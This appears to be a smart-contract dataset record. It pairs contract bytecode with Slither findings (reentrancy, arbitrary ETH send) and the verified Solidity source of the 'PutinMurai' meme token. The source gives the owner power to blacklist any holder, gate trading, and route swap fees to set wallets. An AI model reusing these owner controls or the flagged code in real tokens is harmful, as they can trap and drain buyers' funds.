0x6080604052600436106101fd5760003560e01c80636fc3eaec1161010d5780639e78fb4f116100a0578063c3c8cd801161006f578063c3c8cd80146105d7578063c9567bf9146105ec578063db92dbb614610601578063dcb0e0ad14610616578063dd62ed3e1461063657600080fd5b80639e78fb4f14610562578063a9059cbb14610577578063b2289c6214610597578063b515566a146105b757600080fd5b80637d34a0d3116100dc5780637d34a0d3146104d35780638da5cb5b146104f357806394b8d8f21461051157806395d89b411461053157600080fd5b80636fc3eaec1461046957806370a082311461047e578063715018a61461049e57806373f54a11146104b357600080fd5b806331c2d8471161019057806345596e2e1161015f57806345596e2e146103c557806349bd5a5e146103e5578063590f897e1461041d5780635dfba5f1146104335780636755a4d01461045357600080fd5b806331c2d8471461034057806332d873d8146103605780633bbac5791461037657806340b9a54b146103af57600080fd5b80631940d020116101cc5780631940d020146102ce57806323b872dd146102e457806327f3a72a14610304578063313ce5671461031957600080fd5b806306fdde0314610209578063095ea7b3146102575780630b78f9c01461028757806318160ddd146102a957600080fd5b3661020457005b600080fd5b34801561021557600080fd5b506102416040518060400160405280600c81526020016b4368696c6c57696e65496e7560a01b81525081565b60405161024e91906117e1565b60405180910390f35b34801561026357600080fd5b5061027761027236600461185b565b61067c565b604051901515815260200161024e565b34801561029357600080fd5b506102a76102a2366004611887565b610692565b005b3480156102b557600080fd5b50670b1a2bc2ec5000005b60405190815260200161024e565b3480156102da57600080fd5b506102c0600d5481565b3480156102f057600080fd5b506102776102ff3660046118a9565b61070c565b34801561031057600080fd5b506102c0610760565b34801561032557600080fd5b5061032e600981565b60405160ff909116815260200161024e565b34801561034c57600080fd5b506102a761035b366004611900565b610770565b34801561036c57600080fd5b506102c0600e5481565b34801561038257600080fd5b506102776103913660046119c5565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103bb57600080fd5b506102c060095481565b3480156103d157600080fd5b506102a76103e03660046119e2565b610806565b3480156103f157600080fd5b50600854610405906001600160a01b031681565b6040516001600160a01b03909116815260200161024e565b34801561042957600080fd5b506102c0600a5481565b34801561043f57600080fd5b506102a761044e3660046119e2565b610899565b34801561045f57600080fd5b506102c0600c5481565b34801561047557600080fd5b506102a76108c8565b34801561048a57600080fd5b506102c06104993660046119c5565b6108d5565b3480156104aa57600080fd5b506102a76108f0565b3480156104bf57600080fd5b506102a76104ce3660046119c5565b610964565b3480156104df57600080fd5b506102a76104ee3660046119e2565b6109d2565b3480156104ff57600080fd5b506000546001600160a01b0316610405565b34801561051d57600080fd5b50600f546102779062010000900460ff1681565b34801561053d57600080fd5b50610241604051806040016040528060058152602001644357494e5560d81b81525081565b34801561056e57600080fd5b506102a7610a01565b34801561058357600080fd5b5061027761059236600461185b565b610c06565b3480156105a357600080fd5b50600754610405906001600160a01b031681565b3480156105c357600080fd5b506102a76105d2366004611900565b610c13565b3480156105e357600080fd5b506102a7610d2c565b3480156105f857600080fd5b506102a7610d42565b34801561060d57600080fd5b506102c0610f3e565b34801561062257600080fd5b506102a7610631366004611a09565b610f56565b34801561064257600080fd5b506102c0610651366004611a26565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610689338484610fd3565b50600192915050565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016106bc90611a5f565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006107198484846110f7565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610748908490611aaa565b9050610755853383610fd3565b506001949350505050565b600061076b306108d5565b905090565b6000546001600160a01b0316331461079a5760405162461bcd60e51b81526004016106bc90611a5f565b60005b8151811015610802576000600560008484815181106107be576107be611ac1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107fa81611ad7565b91505061079d565b5050565b6000546001600160a01b031633146108305760405162461bcd60e51b81526004016106bc90611a5f565b6007546001600160a01b0316336001600160a01b03161461085057600080fd5b6000811161085d57600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146108c35760405162461bcd60e51b81526004016106bc90611a5f565b600d55565b476108d2816114ae565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461091a5760405162461bcd60e51b81526004016106bc90611a5f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461098457600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161088e565b6000546001600160a01b031633146109fc5760405162461bcd60e51b81526004016106bc90611a5f565b600c55565b6000546001600160a01b03163314610a2b5760405162461bcd60e51b81526004016106bc90611a5f565b600f5460ff1615610a785760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016106bc565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610add573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b019190611af0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b729190611af0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610bbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be39190611af0565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b60006106893384846110f7565b6000546001600160a01b03163314610c3d5760405162461bcd60e51b81526004016106bc90611a5f565b60005b81518110156108025760085482516001600160a01b0390911690839083908110610c6c57610c6c611ac1565b60200260200101516001600160a01b031614158015610cbd575060065482516001600160a01b0390911690839083908110610ca957610ca9611ac1565b60200260200101516001600160a01b031614155b15610d1a57600160056000848481518110610cda57610cda611ac1565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610d2481611ad7565b915050610c40565b6000610d37306108d5565b90506108d2816114e8565b6000546001600160a01b03163314610d6c5760405162461bcd60e51b81526004016106bc90611a5f565b600f5460ff1615610db95760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016106bc565b600654610dd99030906001600160a01b0316670b1a2bc2ec500000610fd3565b6006546001600160a01b031663f305d7194730610df5816108d5565b600080610e0a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610e72573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e979190611b0d565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ef0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f149190611b3b565b50600f805460ff1916600117905542600e55661c6bf526340000600c556638d7ea4c680000600d55565b60085460009061076b906001600160a01b03166108d5565b6000546001600160a01b03163314610f805760405162461bcd60e51b81526004016106bc90611a5f565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161088e565b6001600160a01b0383166110355760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106bc565b6001600160a01b0382166110965760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106bc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561111d57600080fd5b6001600160a01b0383166111815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106bc565b6001600160a01b0382166111e35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106bc565b600081116112455760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106bc565b600080546001600160a01b0385811691161480159061127257506000546001600160a01b03848116911614155b1561144f576008546001600160a01b0385811691161480156112a257506006546001600160a01b03848116911614155b80156112c757506001600160a01b03831660009081526004602052604090205460ff16155b1561136857600f5460ff1661131e5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016106bc565b42600e5460b461132e9190611b58565b111561136457600c5482111561134357600080fd5b600d5461134f846108d5565b6113599084611b58565b111561136457600080fd5b5060015b600f54610100900460ff161580156113825750600f5460ff165b801561139c57506008546001600160a01b03858116911614155b1561144f5760006113ac306108d5565b9050801561143857600f5462010000900460ff161561142f57600b54600854606491906113e1906001600160a01b03166108d5565b6113eb9190611b70565b6113f59190611b8f565b81111561142f57600b5460085460649190611418906001600160a01b03166108d5565b6114229190611b70565b61142c9190611b8f565b90505b611438816114e8565b47801561144857611448476114ae565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061149157506001600160a01b03841660009081526004602052604090205460ff165b1561149a575060005b6114a7858585848661165c565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610802573d6000803e3d6000fd5b600f805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061152c5761152c611ac1565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611585573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a99190611af0565b816001815181106115bc576115bc611ac1565b6001600160a01b0392831660209182029290920101526006546115e29130911684610fd3565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061161b908590600090869030904290600401611bb1565b600060405180830381600087803b15801561163557600080fd5b505af1158015611649573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b6000611668838361167e565b9050611676868686846116a2565b505050505050565b600080831561169b578215611696575060095461169b565b50600a545b9392505050565b6000806116af848461177f565b6001600160a01b03881660009081526002602052604090205491935091506116d8908590611aaa565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611708908390611b58565b6001600160a01b03861660009081526002602052604090205561172a816117b3565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161176f91815260200190565b60405180910390a3505050505050565b60008080606461178f8587611b70565b6117999190611b8f565b905060006117a78287611aaa565b96919550909350505050565b306000908152600260205260409020546117ce908290611b58565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561180e578581018301518582016040015282016117f2565b81811115611820576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108d257600080fd5b803561185681611836565b919050565b6000806040838503121561186e57600080fd5b823561187981611836565b946020939093013593505050565b6000806040838503121561189a57600080fd5b50508035926020909101359150565b6000806000606084860312156118be57600080fd5b83356118c981611836565b925060208401356118d981611836565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561191357600080fd5b823567ffffffffffffffff8082111561192b57600080fd5b818501915085601f83011261193f57600080fd5b813581811115611951576119516118ea565b8060051b604051601f19603f83011681018181108582111715611976576119766118ea565b60405291825284820192508381018501918883111561199457600080fd5b938501935b828510156119b9576119aa8561184b565b84529385019392850192611999565b98975050505050505050565b6000602082840312156119d757600080fd5b813561169b81611836565b6000602082840312156119f457600080fd5b5035919050565b80151581146108d257600080fd5b600060208284031215611a1b57600080fd5b813561169b816119fb565b60008060408385031215611a3957600080fd5b8235611a4481611836565b91506020830135611a5481611836565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611abc57611abc611a94565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ae957611ae9611a94565b5060010190565b600060208284031215611b0257600080fd5b815161169b81611836565b600080600060608486031215611b2257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b4d57600080fd5b815161169b816119fb565b60008219821115611b6b57611b6b611a94565b500190565b6000816000190483118215151615611b8a57611b8a611a94565b500290565b600082611bac57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c015784516001600160a01b031683529383019391830191600101611bdc565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212205daab88128032eac355f977323f50926fbe4c7223c8d7e8165699b3289328a2e64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,342 |
0xbf4e9f80f773e4093dedc0c6707a114c6539f998
|
/**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
/*
PutinMurai Inu
https://t.me/PutinMuraiInu
https://twitter.com/PutinMurai
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PutinMurai is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "PutinMurai";
string private constant _symbol = "PutinMurai";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xFFaa8f84326441e69f84a81C0BE5Cc320051326D);
address payable private _marketingAddress = payable(0x856908c0561FD417BBF3DF38b02e9fB28e1cF741);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 25000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 14, "Buy tax must be between 0% and 14%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 14, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610526578063dd62ed3e14610546578063ea1644d51461058c578063f2fde38b146105ac57600080fd5b8063a2a957bb146104a1578063a9059cbb146104c1578063bfd79284146104e1578063c3c8cd801461051157600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b41146101fe57806398a5c3151461048157600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611aab565b6105cc565b005b34801561020a57600080fd5b50604080518082018252600a815269507574696e4d7572616960b01b602082015290516102379190611b70565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611bc5565b61066b565b6040519015158152602001610237565b34801561027c57600080fd5b50601454610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b50683635c9adc5dea000005b604051908152602001610237565b3480156102da57600080fd5b506102606102e9366004611bf1565b610682565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610237565b34801561032c57600080fd5b50601554610290906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611c32565b6106eb565b34801561036c57600080fd5b506101fc61037b366004611c5f565b610736565b34801561038c57600080fd5b506101fc61077e565b3480156103a157600080fd5b506102c06103b0366004611c32565b6107c9565b3480156103c157600080fd5b506101fc6107eb565b3480156103d657600080fd5b506101fc6103e5366004611c7a565b61085f565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611c32565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610290565b34801561045757600080fd5b506101fc610466366004611c5f565b61089e565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b506101fc61049c366004611c7a565b6108e6565b3480156104ad57600080fd5b506101fc6104bc366004611c93565b610915565b3480156104cd57600080fd5b506102606104dc366004611bc5565b610acb565b3480156104ed57600080fd5b506102606104fc366004611c32565b60106020526000908152604090205460ff1681565b34801561051d57600080fd5b506101fc610ad8565b34801561053257600080fd5b506101fc610541366004611cc5565b610b2c565b34801561055257600080fd5b506102c0610561366004611d49565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059857600080fd5b506101fc6105a7366004611c7a565b610bcd565b3480156105b857600080fd5b506101fc6105c7366004611c32565b610bfc565b6000546001600160a01b031633146105ff5760405162461bcd60e51b81526004016105f690611d82565b60405180910390fd5b60005b81518110156106675760016010600084848151811061062357610623611db7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065f81611de3565b915050610602565b5050565b6000610678338484610ce6565b5060015b92915050565b600061068f848484610e0a565b6106e184336106dc85604051806060016040528060288152602001611efd602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611346565b610ce6565b5060019392505050565b6000546001600160a01b031633146107155760405162461bcd60e51b81526004016105f690611d82565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107605760405162461bcd60e51b81526004016105f690611d82565b60158054911515600160b01b0260ff60b01b19909216919091179055565